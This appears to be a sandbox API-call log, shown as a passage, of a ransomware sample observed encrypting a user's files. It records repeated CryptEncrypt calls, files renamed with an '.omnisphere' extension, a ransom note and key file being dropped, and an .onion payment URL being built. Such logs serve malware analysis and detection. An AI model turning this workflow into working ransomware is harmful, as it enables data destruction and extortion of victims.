pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.643] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.643] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.643] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.643] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.643] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.643] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.643] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.643] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.643] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.643] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.643] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.652] CryptDestroyKey (hKey=0x1639b68) returned 1 [0088.653] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0088.653] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x48839, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0088.653] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0088.653] GetProcessHeap () returned 0x1600000 [0088.653] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b0) returned 0x1636750 [0088.653] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl.omnisphere")) returned 1 [0088.654] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.omnisphere.id" [0088.654] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0088.654] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0088.656] CloseHandle (hObject=0x3c0) returned 1 [0088.657] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0088.660] CloseHandle (hObject=0x288) returned 1 [0088.660] SetEndOfFile (hFile=0x28c) returned 1 [0088.660] FlushFileBuffers (hFile=0x28c) returned 1 [0088.758] CloseHandle (hObject=0x28c) returned 1 [0088.758] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 1 [0088.758] GetProcessHeap () returned 0x1600000 [0088.758] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16374f8 [0088.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0088.758] GetProcessHeap () returned 0x1600000 [0088.758] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f350 [0088.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f350, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0088.758] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0088.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0088.758] GetProcessHeap () returned 0x1600000 [0088.758] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f630 [0088.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f630, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0088.758] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0088.758] GetProcessHeap () returned 0x1600000 [0088.758] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166a3f8 [0088.758] PathCombineW (in: pszDest=0x166a3f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" [0088.758] GetProcessHeap () returned 0x1600000 [0088.759] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1684738 [0088.759] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0088.759] WriteFile (in: hFile=0x28c, lpBuffer=0x1684738*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1684738*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0088.759] CloseHandle (hObject=0x28c) returned 1 [0088.759] GetProcessHeap () returned 0x1600000 [0088.760] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16374f8 | out: hHeap=0x1600000) returned 1 [0088.760] GetProcessHeap () returned 0x1600000 [0088.760] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1630d30 [0088.760] PathCombineW (in: pszDest=0x1630d30, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" [0088.760] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0088.760] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0088.760] CloseHandle (hObject=0x28c) returned 1 [0088.760] GetProcessHeap () returned 0x1600000 [0088.760] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1630d30 | out: hHeap=0x1600000) returned 1 [0088.760] GetProcessHeap () returned 0x1600000 [0088.760] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656190 | out: hHeap=0x1600000) returned 1 [0088.760] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d81993, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d81993, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x23a87e3, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x4197e, dwReserved0=0x0, dwReserved1=0xce, cFileName="GB.XSL", cAlternateFileName="")) returned 1 [0088.760] GetProcessHeap () returned 0x1600000 [0088.760] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x165e688 [0088.761] PathCombineW (in: pszDest=0x165e688, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="GB.XSL" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" [0088.761] StrStrW (lpFirst=".omnisphere", lpSrch=".XSL") returned 0x0 [0088.761] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0088.761] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=268670) returned 1 [0088.762] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4145a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0088.762] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0088.852] GetTickCount () returned 0x1156609 [0088.852] GetTickCount () returned 0x1156609 [0088.852] GetTickCount () returned 0x1156609 [0088.852] GetTickCount () returned 0x1156609 [0088.852] GetTickCount () returned 0x1156609 [0088.852] GetTickCount () returned 0x1156609 [0088.852] GetTickCount () returned 0x1156609 [0088.852] GetTickCount () returned 0x1156609 [0088.852] 